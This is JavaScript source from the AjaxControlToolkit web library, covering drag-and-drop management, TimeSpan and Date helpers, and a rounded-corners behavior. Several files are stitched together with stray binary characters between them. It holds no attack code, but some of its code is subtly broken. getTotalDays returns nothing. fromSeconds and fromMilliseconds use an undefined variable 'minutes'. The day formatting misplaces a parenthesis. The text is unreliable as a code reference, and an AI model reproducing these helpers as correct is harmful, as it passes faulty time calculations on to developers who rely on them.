    getScrollOffset: function(element, recursive) {
        var left = element.scrollLeft;
        var top = element.scrollTop;
        if (recursive) {
            var parent = element.parentNode;
            while (parent != null && parent.scrollLeft != null) {
                left += parent.scrollLeft;
                top += parent.scrollTop;
                // Don't include anything below the body.
                if (parent == document.body && (left != 0 && top != 0))
                    break;
                parent = parent.parentNode;
            }
        }
        return { x: left, y: top };
    },

    getBrowserRectangle: function() {
        var width = window.innerWidth;
        var height = window.innerHeight;
        if (width == null) {
            width = document.documentElement.clientWidth;
        }
        if (height == null) {
            height = document.documentElement.clientHeight;
        }

        return { x: 0, y: 0, width: width, height: height };
    },

    getNextSibling: function(item) {
        for (item = item.nextSibling; item != null; item = item.nextSibling) {
            if (item.innerHTML != null) {
                return item;
            }
        }
        return null;
    },

    hasParent: function(element) {
        return (element.parentNode != null && element.parentNode.tagName != null);
    }
}
AjaxControlToolkit.IEDragDropManager.registerClass('AjaxControlToolkit.IEDragDropManager', Sys.Component);

AjaxControlToolkit.IEDragDropManager._getDataObjectsForDropTarget = function(dropTarget) {
    if (dropTarget == null) {
        return [];
    }
    var ev = window._event;
    var dataObjects = [];
    var dataTypes = [ "URL", "Text" ];
    var data;
    for (var i = 0; i < dataTypes.length; i++) {
        var dt = ev.dataTransfer;
        if(!dt && ev.rawEvent) dt = ev.rawEvent.dataTransfer;
        data = dt.getData(dataTypes[i]);
        if (dropTarget.canDrop(AjaxControlToolkit.DragMode.Copy, dataTypes[i], data)) {
            if (data) {
                Array.add(dataObjects, { type : dataTypes[i], value : data });
            }
        }
    }

    return dataObjects;
}


AjaxControlToolkit.GenericDragDropManager = function() {
    AjaxControlToolkit.GenericDragDropManager.initializeBase(this);
    
    this._dropTargets = null;
    // Radius of the cursor used to determine what drop target we 
    // are hovering. Anything below the cursor's zone may be a 
    // potential drop target.
    this._scrollEdgeConst = 40;
    this._scrollByConst = 10;
    this._scroller = null;
    this._scrollDeltaX = 0;
    this._scrollDeltaY = 0;
    this._activeDragVisual = null;
    this._activeContext = null;
    this._activeDragSource = null;
    this._oldOffset = null;
    this._potentialTarget = null;
    this._mouseUpHandler = null;
    this._mouseMoveHandler = null;
    this._keyPressHandler = null;
    this._scrollerTickHandler = null;
}
AjaxControlToolkit.GenericDragDropManager.prototype = {
   
    initialize : function() {
        AjaxControlToolkit.GenericDragDropManager.callBaseMethod(this, "initialize");
        this._mouseUpHandler = Function.createDelegate(this, this._onMouseUp);
        this._mouseMoveHandler = Function.createDelegate(this, this._onMouseMove);
        this._keyPressHandler = Function.createDelegate(this, this._onKeyPress);
        this._scrollerTickHandler = Function.createDelegate(this, this._onScrollerTick);
        if (Sys.Browser.agent === Sys.Browser.Safari) {
            AjaxControlToolkit.GenericDragDropManager.__loadSafariCompatLayer(this);
        }
        this._scroller = new Sys.Timer();
        this._scroller.set_interval(10);
        this._scroller.add_tick(this._scrollerTickHandler);
    },

    startDragDrop : function(dragSource, dragVisual, context) {
        this._activeDragSource = dragSource;
        this._activeDragVisual = dragVisual;
        this._activeContext = context;
        
        AjaxControlToolkit.GenericDragDropManager.callBaseMethod(this, "startDragDrop", [dragSource, dragVisual, context]);
    },
    
    _stopDragDrop : function(cancelled) {
        this._scroller.set_enabled(false);
        
        AjaxControlToolkit.GenericDragDropManager.callBaseMethod(this, "_stopDragDrop", [cancelled]);
    },
    
    _drag : function(isInitialDrag) {
        AjaxControlToolkit.GenericDragDropManager.callBaseMethod(this, "_drag", [isInitialDrag]);
        
        this._autoScroll();
    },
    
    _wireEvents : function() {
        $addHandler(document, "mouseup", this._mouseUpHandler);
        $addHandler(document, "mousemove", this._mouseMoveHandler);
        $addHandler(document, "keypress", this._keyPressHandler);
    },
    
    _unwireEvents : function() {
        $removeHandler(document, "keypress", this._keyPressHandler);
        $removeHandler(document, "mousemove", this._mouseMoveHandler);
        $removeHandler(document, "mouseup", this._mouseUpHandler);
    },
    
    _wireDropTargetEvents : function(dropTarget) {
        //
    },
    
    _unwireDropTargetEvents : function(dropTarget) {
        //
    },
    
    _onMouseUp : function(e) {
        window._event = e;
        this._stopDragDrop(false);
    },
    
    _onMouseMove : function(e) {
        window._event = e;
        this._drag();
    },
    
    _onKeyPress : function(e) {
        window._event = e;
        // Escape.
        var k = e.keyCode ? e.keyCode : e.rawEvent.keyCode;
        if (k == 27) {
            this._stopDragDrop(/* cancel */ true);
        }
    },
    
    _autoScroll : function() {
        var ev = window._event;
        var browserRect = this.getBrowserRectangle();
        if (browserRect.width > 0) {
            this._scrollDeltaX = this._scrollDeltaY = 0;
            if (ev.clientX < browserRect.x + this._scrollEdgeConst) this._scrollDeltaX = -this._scrollByConst;
            else if (ev.clientX > browserRect.width - this._scrollEdgeConst) this._scrollDeltaX = this._scrollByConst;
            if (ev.clientY < browserRect.y + this._scrollEdgeConst) this._scrollDeltaY = -this._scrollByConst;
            else if (ev.clientY > browserRect.height - this._scrollEdgeConst) this._scrollDeltaY = this._scrollByConst;
            if (this._scrollDeltaX != 0 || this._scrollDeltaY != 0) {
                this._scroller.set_enabled(true);
            }
            else {
                this._scroller.set_enabled(false);
            }
        }
    },
    
    _onScrollerTick : function() {
        var oldLeft = document.body.scrollLeft;
        var oldTop = document.body.scrollTop;
        window.scrollBy(this._scrollDeltaX, this._scrollDeltaY);
        var newLeft = document.body.scrollLeft;
        var newTop = document.body.scrollTop;
        
        var dragVisual = this._activeDragVisual;
        var position = { x: parseInt(dragVisual.style.left) + (newLeft - oldLeft), y: parseInt(dragVisual.style.top) + (newTop - oldTop) };
        $common.setLocation(dragVisual, position);
    }
}
AjaxControlToolkit.GenericDragDropManager.registerClass('AjaxControlToolkit.GenericDragDropManager', AjaxControlToolkit.IEDragDropManager);


if (Sys.Browser.agent === Sys.Browser.Safari) {
    AjaxControlToolkit.GenericDragDropManager.__loadSafariCompatLayer = function(ddm) {
        ddm._getScrollOffset = ddm.getScrollOffset;

        ddm.getScrollOffset = function(element, recursive) {
            return { x: 0, y: 0 };
        }

        ddm._getBrowserRectangle = ddm.getBrowserRectangle;

        ddm.getBrowserRectangle = function() {
            var browserRect = ddm._getBrowserRectangle();
            
            var offset = ddm._getScrollOffset(document.body, true);
            return { x: browserRect.x + offset.x, y: browserRect.y + offset.y,
                width: browserRect.width + offset.x, height: browserRect.height + offset.y };
        }
    }
}
K// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace("AjaxControlToolkit");

AjaxControlToolkit.TimeSpan = function() {
    /// <summary>
    /// Represents a period of time
    /// </summary>
    
    if (arguments.length == 0) this._ctor$0.apply(this, arguments);
    else if (arguments.length == 1) this._ctor$1.apply(this, arguments);
    else if (arguments.length == 3) this._ctor$2.apply(this, arguments);
    else if (arguments.length == 4) this._ctor$3.apply(this, arguments);
    else if (arguments.length == 5) this._ctor$4.apply(this, arguments);
    else throw Error.parameterCount();
}
AjaxControlToolkit.TimeSpan.prototype = {

    _ctor$0 : function() {
        /// <summary>
        /// Initializes a new TimeSpan
        /// </summary>
        
        this._ticks = 0;
    }, 
    _ctor$1 : function(ticks) {
        /// <summary>
        /// Initializes a new TimeSpan
        /// </summary>
        /// <param name="ticks" type="Number" integer="true">The number of ticks in the TimeSpan</param>

        this._ctor$0();
        this._ticks = ticks;
    },
    _ctor$2 : function(hours, minutes, seconds) {
        /// <summary>
        /// Initializes a new TimeSpan
        /// </summary>
        /// <param name="hours" type="Number">The number of hours in the TimeSpan</param>
        /// <param name="minutes" type="Number">The number of minutes in the TimeSpan</param>
        /// <param name="seconds" type="Number">The number of seconds in the TimeSpan</param>
        
        this._ctor$0();
        this._ticks = 
            (hours * AjaxControlToolkit.TimeSpan.TicksPerHour) +
            (minutes * AjaxControlToolkit.TimeSpan.TicksPerMinute) +
            (seconds * AjaxControlToolkit.TimeSpan.TicksPerSecond); 
    },
    _ctor$3 : function(days, hours, minutes, seconds) {
        /// <summary>
        /// Initializes a new TimeSpan
        /// </summary>
        /// <param name="days" type="Number">The number of days in the TimeSpan</param>
        /// <param name="hours" type="Number">The number of hours in the TimeSpan</param>
        /// <param name="minutes" type="Number">The number of minutes in the TimeSpan</param>
        /// <param name="seconds" type="Number">The number of seconds in the TimeSpan</param>

        this._ctor$0();
        this._ticks = 
            (days * AjaxControlToolkit.TimeSpan.TicksPerDay) +
            (hours * AjaxControlToolkit.TimeSpan.TicksPerHour) +
            (minutes * AjaxControlToolkit.TimeSpan.TicksPerMinute) +
            (seconds * AjaxControlToolkit.TimeSpan.TicksPerSecond); 
    },
    _ctor$4 : function(days, hours, minutes, seconds, milliseconds) {
        /// <summary>
        /// Initializes a new TimeSpan
        /// </summary>
        /// <param name="days" type="Number">The number of days in the TimeSpan</param>
        /// <param name="hours" type="Number">The number of hours in the TimeSpan</param>
        /// <param name="minutes" type="Number">The number of minutes in the TimeSpan</param>
        /// <param name="seconds" type="Number">The number of seconds in the TimeSpan</param>
        /// <param name="milliseconds" type="Number">The number of milliseconds in the TimeSpan</param>

        this._ctor$0();
        this._ticks = 
            (days * AjaxControlToolkit.TimeSpan.TicksPerDay) +
            (hours * AjaxControlToolkit.TimeSpan.TicksPerHour) +
            (minutes * AjaxControlToolkit.TimeSpan.TicksPerMinute) +
            (seconds * AjaxControlToolkit.TimeSpan.TicksPerSecond) +
            (milliseconds * AjaxControlToolkit.TimeSpan.TicksPerMillisecond); 
    },

    getDays : function() { 
        /// <summary>
        /// Gets the days part of the TimeSpan
        /// </summary>
        /// <returns type="Number" />
        
        return Math.floor(this._ticks / AjaxControlToolkit.TimeSpan.TicksPerDay); 
    },
    getHours : function() { 
        /// <summary>
        /// Gets the hours part of the TimeSpan
        /// </summary>
        /// <returns type="Number" />

        return Math.floor(this._ticks / AjaxControlToolkit.TimeSpan.TicksPerHour) % 24; 
    },
    getMinutes : function() { 
        /// <summary>
        /// Gets the minutes part of the TimeSpan
        /// </summary>
        /// <returns type="Number" />

        return Math.floor(this._ticks / AjaxControlToolkit.TimeSpan.TicksPerMinute) % 60; 
    },
    getSeconds : function() { 
        /// <summary>
        /// Gets the seconds part of the TimeSpan
        /// </summary>
        /// <returns type="Number" />

        return Math.floor(this._ticks / AjaxControlToolkit.TimeSpan.TicksPerSecond) % 60; 
    },
    getMilliseconds : function() { 
        /// <summary>
        /// Gets the milliseconds part of the TimeSpan
        /// </summary>
        /// <returns type="Number" />

        return Math.floor(this._ticks / AjaxControlToolkit.TimeSpan.TicksPerMillisecond) % 1000; 
    },
    getDuration : function() { 
        /// <summary>
        /// Gets the total duration of a TimeSpan
        /// </summary>
        /// <returns type="AjaxControlToolkit.TimeSpan" />

        return new AjaxControlToolkit.TimeSpan(Math.abs(this._ticks)); 
    },
    getTicks : function() { 
        /// <summary>
        /// Gets the ticks in the TimeSpan
        /// </summary>
        /// <returns type="Number" />
    
        return this._ticks; 
    },
    getTotalDays : function() { 
        /// <summary>
        /// Gets the total number of days in the TimeSpan
        /// </summary>
        /// <returns type="Number" />

        Math.floor(this._ticks / AjaxControlToolkit.TimeSpan.TicksPerDay); 
    },
    getTotalHours : function() { 
        /// <summary>
        /// Gets the total hours in the TimeSpan
        /// </summary>
        /// <returns type="Number" />

        return Math.floor(this._ticks / AjaxControlToolkit.TimeSpan.TicksPerHour); 
    },
    getTotalMinutes : function() { 
        /// <summary>
        /// Gets the total minutes in the TimeSpan
        /// </summary>
        /// <returns type="Number" />

        return Math.floor(this._ticks / AjaxControlToolkit.TimeSpan.TicksPerMinute); 
    },
    getTotalSeconds : function() { 
        /// <summary>
        /// Gets the total seconds in the TimeSpan
        /// </summary>
        /// <returns type="Number" />

        return Math.floor(this._ticks / AjaxControlToolkit.TimeSpan.TicksPerSecond); 
    },
    getTotalMilliseconds : function() { 
        /// <summary>
        /// Gets the total milliseconds in the TimeSpan
        /// </summary>
        /// <returns type="Number" />

        return Math.floor(this._ticks / AjaxControlToolkit.TimeSpan.TicksPerMillisecond); 
    },
    add : function(value) { 
        /// <summary>
        /// Adds the supplied TimeSpan to this TimeSpan
        /// </summary>
        /// <param name="value" type="AjaxControlToolkit.TimeSpan">The TimeSpan to add</param>
        /// <returns type="AjaxControlToolkit.TimeSpan" />

        return new AjaxControlToolkit.TimeSpan(this._ticks + value.getTicks()); 
    },
    subtract : function(value) { 
        /// <summary>
        /// Subtracts the supplied TimeSpan to this TimeSpan
        /// </summary>
        /// <param name="value" type="AjaxControlToolkit.TimeSpan">The TimeSpan to subtract</param>
        /// <returns type="AjaxControlToolkit.TimeSpan" />

        return new AjaxControlToolkit.TimeSpan(this._ticks - value.getTicks()); 
    },
    negate : function() { 
        /// <summary>
        /// Negates the TimeSpan
        /// </summary>
        /// <returns type="AjaxControlToolkit.TimeSpan" />

        return new AjaxControlToolkit.TimeSpan(-this._ticks); 
    },
    equals : function(value) { 
        /// <summary>
        /// Whether this TimeSpan equals another TimeSpan
        /// </summary>
        /// <param name="value" type="AjaxControlToolkit.TimeSpan">The TimeSpan to test</param>
        /// <returns type="AjaxControlToolkit.TimeSpan" />

        return this._ticks == value.getTicks(); 
    },
    compareTo : function(value) { 
        /// <summary>
        /// Whether this TimeSpan greater or less than another TimeSpan
        /// </summary>
        /// <param name="value" type="AjaxControlToolkit.TimeSpan">The TimeSpan to test</param>
        /// <returns type="AjaxControlToolkit.TimeSpan" />

        if(this._ticks > value.getTicks()) 
            return 1; 
        else if(this._ticks < value.getTicks()) 
            return -1; 
        else 
            return 0; 
    },
    toString : function() { 
        /// <summary>
        /// Gets the string representation of the TimeSpan
        /// </summary>
        /// <returns type="String" />

        return this.format("F"); 
    },
    format : function(format) {    
        /// <summary>
        /// Gets the string representation of the TimeSpan
        /// </summary>
        /// <param name="format" type="String" mayBeNull="true">The format specifier used to format the TimeSpan</param>
        /// <returns type="String" />

        if (!format) {
            format = "F";
        }
        if (format.length == 1) {
            switch (format) {
                case "t": format = AjaxControlToolkit.TimeSpan.ShortTimeSpanPattern; break;
                case "T": format = AjaxControlToolkit.TimeSpan.LongTimeSpanPattern; break;
                case "F": format = AjaxControlToolkit.TimeSpan.FullTimeSpanPattern; break;
                default: throw Error.createError(String.format(AjaxControlToolkit.Resources.Common_DateTime_InvalidTimeSpan, format));
            }
        }
        var regex = /dd|d|hh|h|mm|m|ss|s|nnnn|nnn|nn|n/g;
        var builder = new Sys.StringBuilder();
        var ticks = this._ticks;
        if (ticks < 0) {
            builder.append("-");            
            ticks = -ticks;
        }
        for (;;) {
            var index = regex.lastIndex;
            var ar = regex.exec(format);
            builder.append(format.slice(index, ar ? ar.index : format.length));
            if (!ar) break;
            switch (ar[0]) {
                case "dd":
                case "d":
                    builder.append($common.padLeft(Math.floor(ticks / AjaxControlToolkit.TimeSpan.TicksPerDay, ar[0].length, '0')));
                    break;
                case "hh":
                case "h":
                    builder.append($common.padLeft(Math.floor(ticks / AjaxControlToolkit.TimeSpan.TicksPerHour) % 24, ar[0].length, '0'));
                    break;
                case "mm":
                case "m":
                    builder.append($common.padLeft(Math.floor(ticks / AjaxControlToolkit.TimeSpan.TicksPerMinute) % 60, ar[0].length, '0'));
                    break;
                case "ss":
                case "s":
                    builder.append($common.padLeft(Math.floor(ticks / AjaxControlToolkit.TimeSpan.TicksPerSecond) % 60, ar[0].length, '0'));
                    break;
                case "nnnn":
                case "nnn":
                case "nn":
                case "n":
                    builder.append($common.padRight(Math.floor(ticks / AjaxControlToolkit.TimeSpan.TicksPerMillisecond) % 1000, ar[0].length, '0', true));
                    break;
                default:
                    Sys.Debug.assert(false);
            }
        }
        return builder.toString();
    }
}
AjaxControlToolkit.TimeSpan.parse = function(text) {
    /// <summary>
    /// Parses a text value into a TimeSpan
    /// </summary>
    /// <param name="text" type="String">The text to parse</param>
    /// <returns type="AjaxControlToolkit.TimeSpan" />

    var parts = text.split(":");
    var d = 0;
    var h = 0;
    var m = 0;
    var s = 0;
    var n = 0;
    var ticks = 0;    
    switch(parts.length) {
        case 1:
            if (parts[0].indexOf(".") != -1) {
                var parts2 = parts[0].split(".");
                s = parseInt(parts2[0]);
                n = parseInt(parts2[1]);
            } else {
                ticks = parseInt(parts[0]);
            }
            break;
        case 2:
            h = parseInt(parts[0]);
            m = parseInt(parts[1]);
            break;
        case 3:
            h = parseInt(parts[0]);
            m = parseInt(parts[1]);
            if (parts[2].indexOf(".") != -1) {
                var parts2 = parts[2].split(".");
                s = parseInt(parts2[0]);
                n = parseInt(parts2[1]);
            } else {
                s = parseInt(parts[2]);
            }
            break;
        case 4:
            d = parseInt(parts[0]);
            h = parseInt(parts[1]);
            m = parseInt(parts[2]);
            if (parts[3].indexOf(".") != -1) {
                var parts2 = parts[3].split(".");
                s = parseInt(parts2[0]);
                n = parseInt(parts2[1]);
            } else {
                s = parseInt(parts[3]);
            }
            break;
    }
    ticks += (d * AjaxControlToolkit.TimeSpan.TicksPerDay) +
             (h * AjaxControlToolkit.TimeSpan.TicksPerHour) +
             (m * AjaxControlToolkit.TimeSpan.TicksPerMinute) +
             (s * AjaxControlToolkit.TimeSpan.TicksPerSecond) +
             (n * AjaxControlToolkit.TimeSpan.TicksPerMillisecond);
    if(!isNaN(ticks)) {
        return new AjaxControlToolkit.TimeSpan(ticks);
    }    
    throw Error.create(AjaxControlToolkit.Resources.Common_DateTime_InvalidFormat);
}
AjaxControlToolkit.TimeSpan.fromTicks = function(ticks) { 
    /// <summary>
    /// Creates a TimeSpan for the specified number of ticks
    /// </summary>
    /// <param name="ticks" type="Number" integer="true">The ticks for the TimeSpan instance</param>
    /// <returns type="AjaxControlToolkit.TimeSpan" />

    return new AjaxControlToolkit.TimeSpan(ticks); 
}
AjaxControlToolkit.TimeSpan.fromDays = function(days) { 
    /// <summary>
    /// Creates a TimeSpan for the specified number of days
    /// </summary>
    /// <param name="days" type="Number">The days for the TimeSpan instance</param>
    /// <returns type="AjaxControlToolkit.TimeSpan" />

    return new AjaxControlToolkit.TimeSpan(days * AjaxControlToolkit.TimeSpan.TicksPerDay); 
}
AjaxControlToolkit.TimeSpan.fromHours = function(hours) { 
    /// <summary>
    /// Creates a TimeSpan for the specified number of hours
    /// </summary>
    /// <param name="hours" type="Number">The hours for the TimeSpan instance</param>
    /// <returns type="AjaxControlToolkit.TimeSpan" />

    return new AjaxControlToolkit.TimeSpan(hours * AjaxControlToolkit.TimeSpan.TicksPerHour); 
}
AjaxControlToolkit.TimeSpan.fromMinutes = function(minutes) { 
    /// <summary>
    /// Creates a TimeSpan for the specified number of minutes
    /// </summary>
    /// <param name="minutes" type="Number">The minutes for the TimeSpan instance</param>
    /// <returns type="AjaxControlToolkit.TimeSpan" />

    return new AjaxControlToolkit.TimeSpan(minutes * AjaxControlToolkit.TimeSpan.TicksPerMinute); 
}
AjaxControlToolkit.TimeSpan.fromSeconds = function(seconds) { 
    /// <summary>
    /// Creates a TimeSpan for the specified number of seconds
    /// </summary>
    /// <param name="seconds" type="Number">The seconds for the TimeSpan instance</param>
    /// <returns type="AjaxControlToolkit.TimeSpan" />

    return new AjaxControlToolkit.TimeSpan(minutes * AjaxControlToolkit.TimeSpan.TicksPerSecond); 
}
AjaxControlToolkit.TimeSpan.fromMilliseconds = function(milliseconds) { 
    /// <summary>
    /// Creates a TimeSpan for the specified number of milliseconds
    /// </summary>
    /// <param name="days" type="Number">The milliseconds for the TimeSpan instance</param>
    /// <returns type="AjaxControlToolkit.TimeSpan" />

    return new AjaxControlToolkit.TimeSpan(minutes * AjaxControlToolkit.TimeSpan.TicksPerMillisecond); 
}
AjaxControlToolkit.TimeSpan.TicksPerDay = 864000000000;
AjaxControlToolkit.TimeSpan.TicksPerHour = 36000000000;
AjaxControlToolkit.TimeSpan.TicksPerMinute = 600000000;
AjaxControlToolkit.TimeSpan.TicksPerSecond = 10000000;
AjaxControlToolkit.TimeSpan.TicksPerMillisecond = 10000;
AjaxControlToolkit.TimeSpan.FullTimeSpanPattern = "dd:hh:mm:ss.nnnn";
AjaxControlToolkit.TimeSpan.ShortTimeSpanPattern = "hh:mm";
AjaxControlToolkit.TimeSpan.LongTimeSpanPattern = "hh:mm:ss";

Date.prototype.getTimeOfDay = function Date$getTimeOfDay() {
    /// <summary>
    /// Gets a TimeSpan representing the current time of the Date
    /// </summary>
    /// <returns type="AjaxControlToolkit.TimeSpan" />

    return new AjaxControlToolkit.TimeSpan(
        0, 
        this.getHours(), 
        this.getMinutes(), 
        this.getSeconds(), 
        this.getMilliseconds());
}
Date.prototype.getDateOnly = function Date$getDateOnly() {
    /// <summary>
    /// Gets a Date representing the Date only part of the Date
    /// </summary>
    /// <returns type="Date" />

    return new Date(this.getFullYear(), this.getMonth(), this.getDate());
}
Date.prototype.add = function Date$add(span) {
    /// <summary>
    /// Adds a TimeSpan to the current Date
    /// </summary>
    /// <param name="span" type="AjaxControlToolkit.TimeSpan">The amount of time to add to the date</param>
    /// <returns type="Date" />

    return new Date(this.getTime() + span.getTotalMilliseconds());
}
Date.prototype.subtract = function Date$subtract(span) {
    /// <summary>
    /// Subtracts a TimeSpan to the current Date
    /// </summary>
    /// <param name="span" type="AjaxControlToolkit.TimeSpan">The amount of time to subtract from the date</param>
    /// <returns type="Date" />

    return this.add(span.negate());
}
Date.prototype.getTicks = function Date$getTicks() {
    /// <summary>
    /// Gets the number of ticks in the date
    /// </summary>
    /// <returns type="Number" />

    return this.getTime() * AjaxControlToolkit.TimeSpan.TicksPerMillisecond;
}

AjaxControlToolkit.FirstDayOfWeek = function() {
    /// <summary>
    /// Represents the first day of the week in a calendar
    /// </summary>
}
AjaxControlToolkit.FirstDayOfWeek.prototype = {
    Sunday : 0,
    Monday : 1,
    Tuesday : 2,
    Wednesday : 3,
    Thursday : 4,
    Friday : 5,
    Saturday : 6,
    Default : 7
}
AjaxControlToolkit.FirstDayOfWeek.registerEnum("AjaxControlToolkit.FirstDayOfWeek");
�:// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.BoxCorners = function() {
    /// <summary>
    /// Corners of an element
    /// </summary>
    /// <field name="None" type="Number" integer="true" />
    /// <field name="TopLeft" type="Number" integer="true" />
    /// <field name="TopRight" type="Number" integer="true" />
    /// <field name="BottomRight" type="Number" integer="true" />
    /// <field name="BottomLeft" type="Number" integer="true" />
    /// <field name="Top" type="Number" integer="true" />
    /// <field name="Right" type="Number" integer="true" />
    /// <field name="Bottom" type="Number" integer="true" />
    /// <field name="Left" type="Number" integer="true" />
    /// <field name="All" type="Number" integer="true" />
    throw Error.invalidOperation();
}
AjaxControlToolkit.BoxCorners.prototype = {
    None        : 0x00,

    TopLeft     : 0x01,
    TopRight    : 0x02,
    BottomRight : 0x04,
    BottomLeft  : 0x08,
    
    Top         : 0x01 | 0x02,
    Right       : 0x02 | 0x04,
    Bottom      : 0x04 | 0x08,
    Left        : 0x08 | 0x01,
    All         : 0x01 | 0x02 | 0x04 | 0x08
}
AjaxControlToolkit.BoxCorners.registerEnum("AjaxControlToolkit.BoxCorners", true);


AjaxControlToolkit.RoundedCornersBehavior = function(element) {
    /// <summary>
    /// The RoundedCornersBehavior rounds the corners of its target element
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM element associated with the behavior
    /// </param>
    AjaxControlToolkit.RoundedCornersBehavior.initializeBase(this, [element]);

    this._corners = AjaxControlToolkit.BoxCorners.All;
    this._radius = 5;
    this._color = null;
    this._parentDiv = null;
    this._originalStyle = null;
    this._borderColor = null;
    this._isDirty = true;
}
AjaxControlToolkit.RoundedCornersBehavior.prototype = {
    initialize: function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.RoundedCornersBehavior.callBaseMethod(this, 'initialize');
        this.update();
    },

    dispose: function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>

        this.disposeParentDiv();
        AjaxControlToolkit.RoundedCornersBehavior.callBaseMethod(this, 'dispose');
    },

    update: function() {
        /// <summary>
        /// Create the surrounding div that will have rounded corners
        /// </summary>
        var e = this.get_element();

        if (!e || !this._isDirty || this.get_isUpdating()) return;

        this.disposeParentDiv();

        var color = this.getBackgroundColor();
        var originalWidth = e.offsetWidth;
        var newParent = e.cloneNode(false);

        // move all children into the new div.
        this.moveChildren(e, newParent);

        // modify the target element to be transparent
        // and set up the new parent
        this._originalStyle = e.style.cssText;
        e.style.backgroundColor = "transparent";
        e.style.verticalAlign = "top";
        e.style.padding = "0";
        e.style.overflow = "";
        e.style.className = "";
        // Don't assume there is a numerical value for height.  A height of "auto" is possible.
        if (e.style.height && e.style.height != "auto") {
            // Increase the height to account for the rounded corners
            e.style.height = parseInt($common.getCurrentStyle(e, 'height')) + (this._radius * 2) + "px";
        } else {
            // Note: Do NOT use $common.getCurrentStyle in the check below
            // because that breaks the work-around
            if (!e.style.width && (0 < originalWidth)) {
                // The following line works around a problem where IE renders the first
                // rounded DIV about 6 pixels too high if e doesn't have a width or height
                e.style.width = originalWidth + "px";
            }
        }

        // these are properties we don't want cloned down to the new parent
        newParent.style.position = "";
        newParent.style.border = "";
        newParent.style.margin = "";
        newParent.style.width = "100%";
        newParent.id = "";
        newParent.removeAttribute("control");

        if (this._borderColor) {
            newParent.style.borderTopStyle = "none";
            newParent.style.borderBottomStyle = "none";
            newParent.style.borderLeftStyle = "solid";
            newParent.style.borderRightStyle = "solid";
            newParent.style.borderLeftColor = this._borderColor;
            newParent.style.borderRightColor = this._borderColor;
            newParent.style.borderLeftWidth = "1px";
            newParent.style.borderRightWidth = "1px";
            if (this._radius == 0) {
                newParent.style.borderTopStyle = "solid";
                newParent.style.borderBottomStyle = "solid";
                newParent.style.borderTopColor = this._borderColor;
                newParent.style.borderBottomColor = this._borderColor;
                newParent.style.borderTopWidth = "1px";
                newParent.style.borderBottomWidth = "1px";
            }
        } else {
            newParent.style.borderTopStyle = "none";
            newParent.style.borderBottomStyle = "none";
            newParent.style.borderLeftStyle = "none";
            newParent.style.borderRightStyle = "none";
        }

        // build a set of steps on each end to fake the corners.
        //  ------- (step 0)
        //  -------- (step n-1)
        //  --------- (step n)
        //  XXXXXXXXX (inner div)
        //  XXXXXXXXX
        //  --------- (bottom step n)
        //  --------  (bottom step n-1)
        //  ------    (bottom step 0)

        var lastDiv = null;
        var radius = this._radius;
        var lines = this._radius;
        var lastDelta = 0;

        for (var i = lines; i > 0; i--) {

            // figure out how much we'll need to subtract from each item
            var angle = Math.acos(i / radius);
            var delta = radius - Math.round(Math.sin(angle) * radius);

            // build a 1 pixel tall div
            // that's delta pixels shorter on each end.

            // add the top one
            var newDiv = document.createElement("DIV");
            newDiv.__roundedDiv = true;
            newDiv.style.backgroundColor = color;
            newDiv.style.marginLeft = delta + "px";
            newDiv.style.marginRight = (delta - (this._borderColor ? 2 : 0)) + "px";
            newDiv.style.height = "1px";
            newDiv.style.fontSize = "1px"; // workaround for IE wierdness with 1px divs.
            newDiv.style.overflow = "hidden";

            if (this._borderColor) {
                newDiv.style.borderLeftStyle = "solid";
                newDiv.style.borderRightStyle = "solid";
                newDiv.style.borderLeftColor = this._borderColor;
                newDiv.style.borderRightColor = this._borderColor;

                var offset = Math.max(0, lastDelta - delta - 1);
                newDiv.style.borderLeftWidth = (offset + 1) + "px";
                newDiv.style.borderRightWidth = (offset + 1) + "px";

                if (i == lines) {
                    newDiv.__roundedDivNoBorder = true;
                    newDiv.style.backgroundColor = this._borderColor;
                }
            }

            e.insertBefore(newDiv, lastDiv);

            var topDiv = newDiv;

            // add the bottom one one
            newDiv = newDiv.cloneNode(true);
            newDiv.__roundedDiv = true;

            e.insertBefore(newDiv, lastDiv);

            var bottomDiv = newDiv;

            lastDiv = newDiv;
            lastDelta = delta;

            if (!this.isCornerSet(AjaxControlToolkit.BoxCorners.TopLeft)) {
                topDiv.style.marginLeft = "0";
                if (this._borderColor) {
                    topDiv.style.borderLeftWidth = "1px";
                }
            }
            if (!this.isCornerSet(AjaxControlToolkit.BoxCorners.TopRight)) {
                topDiv.style.marginRight = "0";
                if (this._borderColor) {
                    topDiv.style.borderRightWidth = "1px";
                    topDiv.style.marginRight = "-2px";
                }
            }
            if (!this.isCornerSet(AjaxControlToolkit.BoxCorners.BottomLeft)) {
                bottomDiv.style.marginLeft = "0";
                if (this._borderColor) {
                    bottomDiv.style.borderLeftWidth = "1px";
                }
            }
            if (!this.isCornerSet(AjaxControlToolkit.BoxCorners.BottomRight)) {
                bottomDiv.style.marginRight = "0";
                if (this._borderColor) {
                    bottomDiv.style.borderRightWidth = "1px";
                    bottomDiv.style.marginRight = "-2px";
                }
            }
        }

        // finally, add the newParent (which has all the original content)
        // into the div.
        e.insertBefore(newParent, lastDiv);
        this._parentDiv = newParent;
        this._isDirty = false;
    },

    disposeParentDiv: function() {
        /// <summary>
        /// Dispose the surrounding div with rounded corners
        /// </summary>

        if (this._parentDiv) {
            // clean up the divs we added.
            var e = this.get_element();
            var children = e.childNodes;
            for (var i = children.length - 1; i >= 0; i--) {
                var child = children[i];
                if (child) {
                    if (child == this._parentDiv) {
                        this.moveChildren(child, e);
                    }
                    try {
                        e.removeChild(child);
                    } catch (e) {
                        // Safari likes to throw NOT_FOUND_ERR (DOMException 8)
